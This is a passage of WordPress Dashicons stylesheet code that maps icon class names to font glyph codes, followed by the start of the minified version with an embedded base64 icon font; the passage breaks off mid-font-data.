.dashicons-editor-removeformatting:before { content: "\f218"; } .dashicons-editor-rtl:before { content: "\f320"; } .dashicons-editor-spellcheck:before { content: "\f210"; } .dashicons-editor-strikethrough:before { content: "\f224"; } .dashicons-editor-table:before { content: "\f535"; } .dashicons-editor-textcolor:before { content: "\f215"; } .dashicons-editor-ul:before { content: "\f203"; } .dashicons-editor-underline:before { content: "\f213"; } .dashicons-editor-unlink:before { content: "\f225"; } .dashicons-editor-video:before { content: "\f219"; } .dashicons-ellipsis:before { content: "\f11c"; } .dashicons-email-alt:before { content: "\f466"; } .dashicons-email-alt2:before { content: "\f467"; } .dashicons-email:before { content: "\f465"; } .dashicons-embed-audio:before { content: "\f13e"; } .dashicons-embed-generic:before { content: "\f13f"; } .dashicons-embed-photo:before { content: "\f144"; } .dashicons-embed-post:before { content: "\f146"; } .dashicons-embed-video:before { content: "\f149"; } .dashicons-excerpt-view:before { content: "\f164"; } .dashicons-exit:before { content: "\f14a"; } .dashicons-external:before { content: "\f504"; } .dashicons-facebook-alt:before { content: "\f305"; } .dashicons-facebook:before { content: "\f304"; } .dashicons-feedback:before { content: "\f175"; } .dashicons-filter:before { content: "\f536"; } .dashicons-flag:before { content: "\f227"; } .dashicons-food:before { content: "\f187"; } .dashicons-format-aside:before { content: "\f123"; } .dashicons-format-audio:before { content: "\f127"; } .dashicons-format-chat:before { content: "\f125"; } .dashicons-format-gallery:before { content: "\f161"; } .dashicons-format-image:before { content: "\f128"; } .dashicons-format-quote:before { content: "\f122"; } .dashicons-format-status:before { content: "\f130"; } .dashicons-format-video:before { content: "\f126"; } .dashicons-forms:before { content: "\f314"; } .dashicons-fullscreen-alt:before { content: "\f188"; } .dashicons-fullscreen-exit-alt:before { content: "\f189"; } .dashicons-games:before { content: "\f18a"; } .dashicons-google:before { content: "\f18b"; } .dashicons-googleplus:before { content: "\f462"; } .dashicons-grid-view:before { content: "\f509"; } .dashicons-groups:before { content: "\f307"; } .dashicons-hammer:before { content: "\f308"; } .dashicons-heading:before { content: "\f10e"; } .dashicons-heart:before { content: "\f487"; } .dashicons-hidden:before { content: "\f530"; } .dashicons-hourglass:before { content: "\f18c"; } .dashicons-html:before { content: "\f14b"; } .dashicons-id-alt:before { content: "\f337"; } .dashicons-id:before { content: "\f336"; } .dashicons-image-crop:before { content: "\f165"; } .dashicons-image-filter:before { content: "\f533"; } .dashicons-image-flip-horizontal:before { content: "\f169"; } .dashicons-image-flip-vertical:before { content: "\f168"; } .dashicons-image-rotate-left:before { content: "\f166"; } .dashicons-image-rotate-right:before { content: "\f167"; } .dashicons-image-rotate:before { content: "\f531"; } .dashicons-images-alt:before { content: "\f232"; } .dashicons-images-alt2:before { content: "\f233"; } .dashicons-index-card:before { content: "\f510"; } .dashicons-info-outline:before { content: "\f14c"; } .dashicons-info:before { content: "\f348"; } .dashicons-insert-after:before { content: "\f14d"; } .dashicons-insert-before:before { content: "\f14e"; } .dashicons-insert:before { content: "\f10f"; } .dashicons-instagram:before { content: "\f12d"; } .dashicons-laptop:before { content: "\f547"; } .dashicons-layout:before { content: "\f538"; } .dashicons-leftright:before { content: "\f229"; } .dashicons-lightbulb:before { content: "\f339"; } .dashicons-linkedin:before { content: "\f18d"; } .dashicons-list-view:before { content: "\f163"; } .dashicons-location-alt:before { content: "\f231"; } .dashicons-location:before { content: "\f230"; } .dashicons-lock-duplicate:before { content: "\f315"; } .dashicons-lock:before { content: "\f160"; } .dashicons-marker:before { content: "\f159"; } .dashicons-media-archive:before { content: "\f501"; } .dashicons-media-audio:before { content: "\f500"; } .dashicons-media-code:before { content: "\f499"; } .dashicons-media-default:before { content: "\f498"; } .dashicons-media-document:before { content: "\f497"; } .dashicons-media-interactive:before { content: "\f496"; } .dashicons-media-spreadsheet:before { content: "\f495"; } .dashicons-media-text:before { content: "\f491"; } .dashicons-media-video:before { content: "\f490"; } .dashicons-megaphone:before { content: "\f488"; } .dashicons-menu-alt:before { content: "\f228"; } .dashicons-menu-alt2:before { content: "\f329"; } .dashicons-menu-alt3:before { content: "\f349"; } .dashicons-menu:before { content: "\f333"; } .dashicons-microphone:before { content: "\f482"; } .dashicons-migrate:before { content: "\f310"; } .dashicons-minus:before { content: "\f460"; } .dashicons-money-alt:before { content: "\f18e"; } .dashicons-money:before { content: "\f526"; } .dashicons-move:before { content: "\f545"; } .dashicons-nametag:before { content: "\f484"; } .dashicons-networking:before { content: "\f325"; } .dashicons-no-alt:before { content: "\f335"; } .dashicons-no:before { content: "\f158"; } .dashicons-open-folder:before { content: "\f18f"; } .dashicons-palmtree:before { content: "\f527"; } .dashicons-paperclip:before { content: "\f546"; } .dashicons-pdf:before { content: "\f190"; } .dashicons-performance:before { content: "\f311"; } .dashicons-pets:before { content: "\f191"; } .dashicons-phone:before { content: "\f525"; } .dashicons-pinterest:before { content: "\f192"; } .dashicons-playlist-audio:before { content: "\f492"; } .dashicons-playlist-video:before { content: "\f493"; } .dashicons-plugins-checked:before { content: "\f485"; } .dashicons-plus-alt:before { content: "\f502"; } .dashicons-plus-alt2:before { content: "\f543"; } .dashicons-plus:before { content: "\f132"; } .dashicons-podio:before { content: "\f19c"; } .dashicons-portfolio:before { content: "\f322"; } .dashicons-post-status:before { content: "\f173"; } .dashicons-pressthis:before { content: "\f157"; } .dashicons-printer:before { content: "\f193"; } .dashicons-privacy:before { content: "\f194"; } .dashicons-products:before { content: "\f312"; } .dashicons-randomize:before { content: "\f503"; } .dashicons-reddit:before { content: "\f195"; } .dashicons-redo:before { content: "\f172"; } .dashicons-remove:before { content: "\f14f"; } .dashicons-rest-api:before { content: "\f124"; } .dashicons-rss:before { content: "\f303"; } .dashicons-saved:before { content: "\f15e"; } .dashicons-schedule:before { content: "\f489"; } .dashicons-screenoptions:before { content: "\f180"; } .dashicons-search:before { content: "\f179"; } .dashicons-share-alt:before { content: "\f240"; } .dashicons-share-alt2:before { content: "\f242"; } .dashicons-share:before { content: "\f237"; } .dashicons-shield-alt:before { content: "\f334"; } .dashicons-shield:before { content: "\f332"; } .dashicons-shortcode:before { content: "\f150"; } .dashicons-slides:before { content: "\f181"; } .dashicons-smartphone:before { content: "\f470"; } .dashicons-smiley:before { content: "\f328"; } .dashicons-sort:before { content: "\f156"; } .dashicons-sos:before { content: "\f468"; } .dashicons-spotify:before { content: "\f196"; } .dashicons-star-empty:before { content: "\f154"; } .dashicons-star-filled:before { content: "\f155"; } .dashicons-star-half:before { content: "\f459"; } .dashicons-sticky:before { content: "\f537"; } .dashicons-store:before { content: "\f513"; } .dashicons-superhero-alt:before { content: "\f197"; } .dashicons-superhero:before { content: "\f198"; } .dashicons-table-col-after:before { content: "\f151"; } .dashicons-table-col-before:before { content: "\f152"; } .dashicons-table-col-delete:before { content: "\f15a"; } .dashicons-table-row-after:before { content: "\f15b"; } .dashicons-table-row-before:before { content: "\f15c"; } .dashicons-table-row-delete:before { content: "\f15d"; } .dashicons-tablet:before { content: "\f471"; } .dashicons-tag:before { content: "\f323"; } .dashicons-tagcloud:before { content: "\f479"; } .dashicons-testimonial:before { content: "\f473"; } .dashicons-text-page:before { content: "\f121"; } .dashicons-text:before { content: "\f478"; } .dashicons-thumbs-down:before { content: "\f542"; } .dashicons-thumbs-up:before { content: "\f529"; } .dashicons-tickets-alt:before { content: "\f524"; } .dashicons-tickets:before { content: "\f486"; } .dashicons-tide:before { content: "\f10d"; } .dashicons-translation:before { content: "\f326"; } .dashicons-trash:before { content: "\f182"; } .dashicons-twitch:before { content: "\f199"; } .dashicons-twitter-alt:before { content: "\f302"; } .dashicons-twitter:before { content: "\f301"; } .dashicons-undo:before { content: "\f171"; } .dashicons-universal-access-alt:before { content: "\f507"; } .dashicons-universal-access:before { content: "\f483"; } .dashicons-unlock:before { content: "\f528"; } .dashicons-update-alt:before { content: "\f113"; } .dashicons-update:before { content: "\f463"; } .dashicons-upload:before { content: "\f317"; } .dashicons-vault:before { content: "\f178"; } .dashicons-video-alt:before { content: "\f234"; } .dashicons-video-alt2:before { content: "\f235"; } .dashicons-video-alt3:before { content: "\f236"; } .dashicons-visibility:before { content: "\f177"; } .dashicons-warning:before { content: "\f534"; } .dashicons-welcome-add-page:before { content: "\f133"; } .dashicons-welcome-comments:before { content: "\f117"; } .dashicons-welcome-learn-more:before { content: "\f118"; } .dashicons-welcome-view-site:before { content: "\f115"; } .dashicons-welcome-widgets-menus:before { content: "\f116"; } .dashicons-welcome-write-blog:before { content: "\f119"; } .dashicons-whatsapp:before { content: "\f19a"; } .dashicons-wordpress-alt:before { content: "\f324"; } .dashicons-wordpress:before { content: "\f120"; } .dashicons-xing:before { content: "\f19d"; } .dashicons-yes-alt:before { content: "\f12a"; } .dashicons-yes:before { content: "\f147"; } .dashicons-youtube:before { content: "\f19b"; } /* Additional CSS classes, manually added to the CSS template file */ .dashicons-editor-distractionfree:before { content: "\f211"; } /* This is a typo, but was previously released. It should remain for backward compatibility. See https://core.trac.wordpress.org/ticket/30832. */ .dashicons-exerpt-view:before { content: "\f164"; } .dashicons-format-links:before { content: "\f103"; } .dashicons-format-standard:before { content: "\f109"; } .dashicons-post-trash:before { content: "\f182"; } .dashicons-share1:before { content: "\f237"; } .dashicons-welcome-edit-page:before { content: "\f119"; } css/dashicons.min.css000064400000163210151202620300010575 0ustar00/*! This file is auto-generated */ @font-face{font-family:dashicons;src:url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800");src:url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800#iefix") format("embedded-opentype"),url("data:application/x-font-woff;charset=utf-8;base64,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